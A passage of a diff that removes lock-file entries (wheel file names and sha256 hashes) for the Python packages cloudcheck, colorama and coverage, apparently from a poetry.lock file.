-    {file = "cloudcheck-9.3.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:05ec385d95adef0a420a51a1df97d17b6c29d3030b2f2b1ffca5de1ea85ee7a5"},
-    {file = "cloudcheck-9.3.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c477506721b87d7e0a6a13386bd57feb5ab1615cbcdd9d62971640df24ba70cc"},
-    {file = "cloudcheck-9.3.0-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2a996011efef6af71f2f712fbe9bc9fefd49216c0dffc648528abd329f6003a0"},
-    {file = "cloudcheck-9.3.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:af152cf8e1b2a845db3412b131d6c8c6964cff161aad9500b56bd383ec028936"},
-    {file = "cloudcheck-9.3.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:359e7c66015d3245d636ce03aa527bf6d69c2e0f72278857a2b51e9673df9904"},
-    {file = "cloudcheck-9.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7a8138b78e7a49814ef6bf56f0de9b35c1e53473fd83cabb451db3e740ab5e83"},
-    {file = "cloudcheck-9.3.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:22f3645c1eb67a3489c7ebbfef4eb3c1f39187ab54a5d61703cb26df8b477d38"},
-    {file = "cloudcheck-9.3.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:78b2f7d8235f9d5fe2d3670c125769c65b94cca1e0170d682069bb478b20ffc8"},
-    {file = "cloudcheck-9.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:360b80aad144c2fbf8cf251587af714f51d58b02e76593d60da40b20a6ba6140"},
-    {file = "cloudcheck-9.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:d623b523de9d24297fc6d337302e12faf8ead6c5ab17bcbf39cbed1ec7f7abe1"},
-    {file = "cloudcheck-9.3.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2033d75451653babb908394f00a78ead9cb66481f7ca88f957b74fdff050a0b9"},
-    {file = "cloudcheck-9.3.0-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b504627920b80cc4695b881a1e58be109abdc482be8202865d11c028865ff7e3"},
-    {file = "cloudcheck-9.3.0-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0edb7e05e289852ca026cfa97fea8c86d369a3a6a061edeaf47939a31c745cc2"},
-    {file = "cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:99509b9cefc95cff71bb0cda4651ec3b931202512c41583940e471038cb0f288"},
-    {file = "cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:138e6578db91123a2aafc21a7ee89d302ceec49891b1257364832cd9a4f5ad62"},
-    {file = "cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:4058bbda0b578853288af0bb58de52257cfcafd40b8609a199d5d2b71ec773d9"},
-    {file = "cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8eb3e1af683f327f0eb7dbe1fc93fb07d271b69e0045540d566830fae7855dab"},
-    {file = "cloudcheck-9.3.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:b4415fd866000257dae58d9b5ab58fb2c95225b65e770f3badee33d3ae4c2989"},
-    {file = "cloudcheck-9.3.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:530874ef87665d6e14b4756b85b95a4c27916804a6778125851b49203ae037c4"},
-    {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d37ed257e26a21389b99b1c7ad414c3d24b56eab21686a549f8ebf2bdc1dd48"},
-    {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0e3fcb7b0332656c9166bc09977559bad260df9dcb6bcac3baa980842c2017a4"},
-    {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:89347b3e458262119a7f94d5ff2e0d535996a6dd7b501a222a28b8b235379e40"},
-    {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:252fd606307b4a039b34ff928d482302b323217d92b94eadc9019c81f1231e61"},
-    {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:86a9b96fcd645e028980db0e25482b1af13300c5e4e76fcd6707adffd9552220"},
-    {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_38_x86_64.whl", hash = "sha256:c055966a04d21b4728e525633d7f0ff5713b76bac9024679ab20ff2e8050e5ba"},
-    {file = "cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:3171964cb5e204d17192cf12b79210b0f36457786af187c89407eae297f015fe"},
-    {file = "cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:4fdb2cb2727f40e5e4d66a3c43895f0892c72f9615142a190271d9b91dc634c5"},
-    {file = "cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:fa2352c765342aefa2c0e6a75093efb75fafaab51f86e36c4b32849e0ef18ee8"},
-    {file = "cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:146c545702267071e1a375d8ca8bbd7a4fa5e0f87ac6adfd13fc8835bb3d2bc7"},
-    {file = "cloudcheck-9.3.0-cp314-cp314-win32.whl", hash = "sha256:a95b840efe2616231c99a9ef5be4e8484b880af5e3e9eeab81bf473cbee70088"},
-    {file = "cloudcheck-9.3.0-cp314-cp314-win_amd64.whl", hash = "sha256:9d631e21b3945615739f7862e1e378b2f3f43d4409a62bc657e858762f83ac67"},
-    {file = "cloudcheck-9.3.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:681ef11beeebfbf6205b0e05a6d151943a533e6e6124f0399b9128692b350c63"},
-    {file = "cloudcheck-9.3.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f96f1ebc2b30c7c790b62f1a7c13909230502c457b445cd96d1803c4434da6bb"},
-    {file = "cloudcheck-9.3.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d5895e5dd24a3e9f1d3412e15ff96fdd0a6f58d0a1ea192deba6f02926331054"},
-    {file = "cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8407b08b382a6bcb23ab77ce3a12dfdf075feff418c911f7a385701a20b8df34"},
-    {file = "cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:4dab2a77055204e014c31cf7466f23687612de66579b81e3c18c00d3eeaa526b"},
-    {file = "cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:68088d71a16ac55390ec53240642b3cf26f98692035e1ed425a3c35144ca1f26"},
-    {file = "cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5615d361881b15f36afd88136bc5af221ff1794b18c49616411c32578a69de28"},
-    {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d93616c9d1651c5fc76aeafeb5fe854ea99a2a3c72b5cfc658c852f73e0adef7"},
-    {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9d2fcdce20139ade4aedfce08d8bbab036178ce0bd3e3eb7402e01d98662d84e"},
-    {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ac36685a49614deec545d2048015c3f0998777df3678a09e865dade3f0157fc4"},
-    {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8820f6ba9fe3ecd13b52600b4784e09a9f8c39e0a625d5c1365d5a362996bd13"},
-    {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7497131e592ab84f817ebe47cce604653f32d764bb28bf44cd69f7b4d8a9e004"},
-    {file = "cloudcheck-9.3.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:3d77f037d0149d839e5d642f7ecdc83db686031081a006695eed74bb958baf09"},
-    {file = "cloudcheck-9.3.0-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:47b591ef041ed9e333af98f186e3ce56f8c486e1fc91afb1a3633d43f28e34b8"},
-    {file = "cloudcheck-9.3.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:3e48a176278b6e75638502a64b90b3ee9bba6a198c229ba8f1485e9eed527d20"},
-    {file = "cloudcheck-9.3.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:b1d52f55834bf34bb75d0934ef60046e7ee584db09b2e269ef9170e73f8ddd45"},
-    {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee5e5b240d39c14829576b841411d6a4dd867c1c1d4f23e5aadf910151b25ed1"},
-    {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d5fe3f4e1fef0a83ffd2bfa2d4aa8b4c83aea2c7116fb83e75dcf82780aeb5dd"},
-    {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:39ec7ebae9a8a1ec42d5ec047d0506584576aa1cb32d7d4c3fff5db241844ebe"},
-    {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:92eb00480d651e8ee7d922005804dcc10a30d05e8a1feb7d49d93e11dd7b7b82"},
-    {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0befb18f1b563985c68ce3aae0d58363939af66e13a15f0defbab1a2bd512459"},
-    {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:66940758bf97c40db14c1f7457ece633503a91803191c84742f3a938b5fbc9d8"},
-    {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:5d97d3ecd2917b75b518766281be408253f6f59a2d09db54f7ecf9d847c6de3a"},
-    {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:f593b1a400f8b0ec3995b56126efb001729b46bac4c76d6d2399e8ab62e49515"},
-    {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:4854fc0aa88ec38275f0c2f8057803c1c37eec93d9f4c5e9f0e0a5b38fd6604f"},
-    {file = "cloudcheck-9.3.0.tar.gz", hash = "sha256:e4f92690f84b176395d01a0694263d8edb0f8fd3a63100757376b7810879e6f5"},
-]
-
-[[package]]
-name = "colorama"
-version = "0.4.6"
-description = "Cross-platform colored terminal text."
-optional = false
-python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7"
-groups = ["dev", "docs"]
-files = [
-    {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"},
-    {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"},
-]
-
-[[package]]
-name = "coverage"
-version = "7.13.4"
-description = "Code coverage measurement for Python"
-optional = false
-python-versions = ">=3.10"
-groups = ["dev"]
-files = [
-    {file = "coverage-7.13.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0fc31c787a84f8cd6027eba44010517020e0d18487064cd3d8968941856d1415"},
-    {file = "coverage-7.13.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a32ebc02a1805adf637fc8dec324b5cdacd2e493515424f70ee33799573d661b"},
-    {file = "coverage-7.13.4-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:e24f9156097ff9dc286f2f913df3a7f63c0e333dcafa3c196f2c18b4175ca09a"},
-    {file = "coverage-7.13.4-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8041b6c5bfdc03257666e9881d33b1abc88daccaf73f7b6340fb7946655cd10f"},
-    {file = "coverage-7.13.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2a09cfa6a5862bc2fc6ca7c3def5b2926194a56b8ab78ffcf617d28911123012"},
-    {file = "coverage-7.13.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:296f8b0af861d3970c2a4d8c91d48eb4dd4771bcef9baedec6a9b515d7de3def"},
-    {file = "coverage-7.13.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e101609bcbbfb04605ea1027b10dc3735c094d12d40826a60f897b98b1c30256"},
-    {file = "coverage-7.13.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:aa3feb8db2e87ff5e6d00d7e1480ae241876286691265657b500886c98f38bda"},
-    {file = "coverage-7.13.4-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:4fc7fa81bbaf5a02801b65346c8b3e657f1d93763e58c0abdf7c992addd81a92"},
-    {file = "coverage-7.13.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:33901f604424145c6e9c2398684b92e176c0b12df77d52db81c20abd48c3794c"},
-    {file = "coverage-7.13.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:bb28c0f2cf2782508a40cec377935829d5fcc3ad9a3681375af4e84eb34b6b58"},
-    {file = "coverage-7.13.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9d107aff57a83222ddbd8d9ee705ede2af2cc926608b57abed8ef96b50b7e8f9"},
-    {file = "coverage-7.13.4-cp310-cp310-win32.whl", hash = "sha256:a6f94a7d00eb18f1b6d403c91a88fd58cfc92d4b16080dfdb774afc8294469bf"},
-    {file = "coverage-7.13.4-cp310-cp310-win_amd64.whl", hash = "sha256:2cb0f1e000ebc419632bbe04366a8990b6e32c4e0b51543a6484ffe15eaeda95"},
-    {file = "coverage-7.13.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d490ba50c3f35dd7c17953c68f3270e7ccd1c6642e2d2afe2d8e720b98f5a053"},
-    {file = "coverage-7.13.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:19bc3c88078789f8ef36acb014d7241961dbf883fd2533d18cb1e7a5b4e28b11"},
-    {file = "coverage-7.13.4-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:3998e5a32e62fdf410c0dbd3115df86297995d6e3429af80b8798aad894ca7aa"},
-    {file = "coverage-7.13.4-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8e264226ec98e01a8e1054314af91ee6cde0eacac4f465cc93b03dbe0bce2fd7"},
-    {file = "coverage-7.13.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a3aa4e7b9e416774b21797365b358a6e827ffadaaca81b69ee02946852449f00"},
-    {file = "coverage-7.13.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:71ca20079dd8f27fcf808817e281e90220475cd75115162218d0e27549f95fef"},
-    {file = "coverage-7.13.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e2f25215f1a359ab17320b47bcdaca3e6e6356652e8256f2441e4ef972052903"},
-    {file = "coverage-7.13.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d65b2d373032411e86960604dc4edac91fdfb5dca539461cf2cbe78327d1e64f"},
-    {file = "coverage-7.13.4-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94eb63f9b363180aff17de3e7c8760c3ba94664ea2695c52f10111244d16a299"},
-    {file = "coverage-7.13.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:e856bf6616714c3a9fbc270ab54103f4e685ba236fa98c054e8f87f266c93505"},
-    {file = "coverage-7.13.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:65dfcbe305c3dfe658492df2d85259e0d79ead4177f9ae724b6fb245198f55d6"},
-    {file = "coverage-7.13.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b507778ae8a4c915436ed5c2e05b4a6cecfa70f734e19c22a005152a11c7b6a9"},
-    {file = "coverage-7.13.4-cp311-cp311-win32.whl", hash = "sha256:784fc3cf8be001197b652d51d3fd259b1e2262888693a4636e18879f613a62a9"},
-    {file = "coverage-7.13.4-cp311-cp311-win_amd64.whl", hash = "sha256:2421d591f8ca05b308cf0092807308b2facbefe54af7c02ac22548b88b95c98f"},
-    {file = "coverage-7.13.4-cp311-cp311-win_arm64.whl", hash = "sha256:79e73a76b854d9c6088fe5d8b2ebe745f8681c55f7397c3c0a016192d681045f"},
-    {file = "coverage-7.13.4-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:02231499b08dabbe2b96612993e5fc34217cdae907a51b906ac7fca8027a4459"},
-    {file = "coverage-7.13.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:40aa8808140e55dc022b15d8aa7f651b6b3d68b365ea0398f1441e0b04d859c3"},
-    {file = "coverage-7.13.4-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:5b856a8ccf749480024ff3bd7310adaef57bf31fd17e1bfc404b7940b6986634"},
-    {file = "coverage-7.13.4-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2c048ea43875fbf8b45d476ad79f179809c590ec7b79e2035c662e7afa3192e3"},
-    {file = "coverage-7.13.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b7b38448866e83176e28086674fe7368ab8590e4610fb662b44e345b86d63ffa"},
-    {file = "coverage-7.13.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:de6defc1c9badbf8b9e67ae90fd00519186d6ab64e5cc5f3d21359c2a9b2c1d3"},
-    {file = "coverage-7.13.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:7eda778067ad7ffccd23ecffce537dface96212576a07924cbf0d8799d2ded5a"},
-    {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e87f6c587c3f34356c3759f0420693e35e7eb0e2e41e4c011cb6ec6ecbbf1db7"},
-    {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:8248977c2e33aecb2ced42fef99f2d319e9904a36e55a8a68b69207fb7e43edc"},
-    {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:25381386e80ae727608e662474db537d4df1ecd42379b5ba33c84633a2b36d47"},
-    {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:ee756f00726693e5ba94d6df2bdfd64d4852d23b09bb0bc700e3b30e6f333985"},
-    {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fdfc1e28e7c7cdce44985b3043bc13bbd9c747520f94a4d7164af8260b3d91f0"},
-    {file = "coverage-7.13.4-cp312-cp312-win32.whl", hash = "sha256:01d4cbc3c283a17fc1e42d614a119f7f438eabb593391283adca8dc86eff1246"},
-    {file = "coverage-7.13.4-cp312-cp312-win_amd64.whl", hash = "sha256:9401ebc7ef522f01d01d45532c68c5ac40fb27113019b6b7d8b208f6e9baa126"},
-    {file = "coverage-7.13.4-cp312-cp312-win_arm64.whl", hash = "sha256:b1ec7b6b6e93255f952e27ab58fbc68dcc468844b16ecbee881aeb29b6ab4d8d"},
-    {file = "coverage-7.13.4-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b66a2da594b6068b48b2692f043f35d4d3693fb639d5ea8b39533c2ad9ac3ab9"},
-    {file = "coverage-7.13.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3599eb3992d814d23b35c536c28df1a882caa950f8f507cef23d1cbf334995ac"},
-    {file = "coverage-7.13.4-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:93550784d9281e374fb5a12bf1324cc8a963fd63b2d2f223503ef0fd4aa339ea"},
-    {file = "coverage-7.13.4-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b720ce6a88a2755f7c697c23268ddc47a571b88052e6b155224347389fdf6a3b"},
-    {file = "coverage-7.13.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7b322db1284a2ed3aa28ffd8ebe3db91c929b7a333c0820abec3d838ef5b3525"},
-    {file = "coverage-7.13.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f4594c67d8a7c89cf922d9df0438c7c7bb022ad506eddb0fdb2863359ff78242"},
-    {file = "coverage-7.13.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:53d133df809c743eb8bce33b24bcababb371f4441340578cd406e084d94a6148"},
-    {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:76451d1978b95ba6507a039090ba076105c87cc76fc3efd5d35d72093964d49a"},
-    {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:7f57b33491e281e962021de110b451ab8a24182589be17e12a22c79047935e23"},
-    {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:1731dc33dc276dafc410a885cbf5992f1ff171393e48a21453b78727d090de80"},
-    {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:bd60d4fe2f6fa7dff9223ca1bbc9f05d2b6697bc5961072e5d3b952d46e1b1ea"},
-    {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9181a3ccead280b828fae232df12b16652702b49d41e99d657f46cc7b1f6ec7a"},
-    {file = "coverage-7.13.4-cp313-cp313-win32.whl", hash = "sha256:f53d492307962561ac7de4cd1de3e363589b000ab69617c6156a16ba7237998d"},
-    {file = "coverage-7.13.4-cp313-cp313-win_amd64.whl", hash = "sha256:e6f70dec1cc557e52df5306d051ef56003f74d56e9c4dd7ddb07e07ef32a84dd"},
-    {file = "coverage-7.13.4-cp313-cp313-win_arm64.whl", hash = "sha256:fb07dc5da7e849e2ad31a5d74e9bece81f30ecf5a42909d0a695f8bd1874d6af"},
-    {file = "coverage-7.13.4-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:40d74da8e6c4b9ac18b15331c4b5ebc35a17069410cad462ad4f40dcd2d50c0d"},
-    {file = "coverage-7.13.4-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:4223b4230a376138939a9173f1bdd6521994f2aff8047fae100d6d94d50c5a12"},
-    {file = "coverage-7.13.4-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:1d4be36a5114c499f9f1f9195e95ebf979460dbe2d88e6816ea202010ba1c34b"},
-    {file = "coverage-7.13.4-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:200dea7d1e8095cc6e98cdabe3fd1d21ab17d3cee6dab00cadbb2fe35d9c15b9"},
-    {file = "coverage-7.13.4-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b8eb931ee8e6d8243e253e5ed7336deea6904369d2fd8ae6e43f68abbf167092"},
-    {file = "coverage-7.13.4-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:75eab1ebe4f2f64d9509b984f9314d4aa788540368218b858dad56dc8f3e5eb9"},
-    {file = "coverage-7.13.4-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c35eb28c1d085eb7d8c9b3296567a1bebe03ce72962e932431b9a61f28facf26"},
-    {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:eb88b316ec33760714a4720feb2816a3a59180fd58c1985012054fa7aebee4c2"},
-    {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:7d41eead3cc673cbd38a4417deb7fd0b4ca26954ff7dc6078e33f6ff97bed940"},
-    {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:fb26a934946a6afe0e326aebe0730cdff393a8bc0bbb65a2f41e30feddca399c"},
-    {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:dae88bc0fc77edaa65c14be099bd57ee140cf507e6bfdeea7938457ab387efb0"},
-    {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:845f352911777a8e722bfce168958214951e07e47e5d5d9744109fa5fe77f79b"},
-    {file = "coverage-7.13.4-cp313-cp313t-win32.whl", hash = "sha256:2fa8d5f8de70688a28240de9e139fa16b153cc3cbb01c5f16d88d6505ebdadf9"},
-    {file = "coverage-7.13.4-cp313-cp313t-win_amd64.whl", hash = "sha256:9351229c8c8407645840edcc277f4a2d44814d1bc34a2128c11c2a031d45a5dd"},
-    {file = "coverage-7.13.4-cp313-cp313t-win_arm64.whl", hash = "sha256:30b8d0512f2dc8c8747557e8fb459d6176a2c9e5731e2b74d311c03b78451997"},
-    {file = "coverage-7.13.4-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:300deaee342f90696ed186e3a00c71b5b3d27bffe9e827677954f4ee56969601"},
-    {file = "coverage-7.13.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:29e3220258d682b6226a9b0925bc563ed9a1ebcff3cad30f043eceea7eaf2689"},
-    {file = "coverage-7.13.4-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:391ee8f19bef69210978363ca930f7328081c6a0152f1166c91f0b5fdd2a773c"},
-    {file = "coverage-7.13.4-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0dd7ab8278f0d58a0128ba2fca25824321f05d059c1441800e934ff2efa52129"},
-    {file = "coverage-7.13.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78cdf0d578b15148b009ccf18c686aa4f719d887e76e6b40c38ffb61d264a552"},
-    {file = "coverage-7.13.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:48685fee12c2eb3b27c62f2658e7ea21e9c3239cba5a8a242801a0a3f6a8c62a"},
-    {file = "coverage-7.13.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:4e83efc079eb39480e6346a15a1bcb3e9b04759c5202d157e1dd4303cd619356"},
-    {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ecae9737b72408d6a950f7e525f30aca12d4bd8dd95e37342e5beb3a2a8c4f71"},
-    {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ae4578f8528569d3cf303fef2ea569c7f4c4059a38c8667ccef15c6e1f118aa5"},
-    {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:6fdef321fdfbb30a197efa02d48fcd9981f0d8ad2ae8903ac318adc653f5df98"},
-    {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b0f6ccf3dbe577170bebfce1318707d0e8c3650003cb4b3a9dd744575daa8b5"},
-    {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:75fcd519f2a5765db3f0e391eb3b7d150cce1a771bf4c9f861aeab86c767a3c0"},
-    {file = "coverage-7.13.4-cp314-cp314-win32.whl", hash = "sha256:8e798c266c378da2bd819b0677df41ab46d78065fb2a399558f3f6cae78b2fbb"},
-    {file = "coverage-7.13.4-cp314-cp314-win_amd64.whl", hash = "sha256:245e37f664d89861cf2329c9afa2c1fe9e6d4e1a09d872c947e70718aeeac505"},
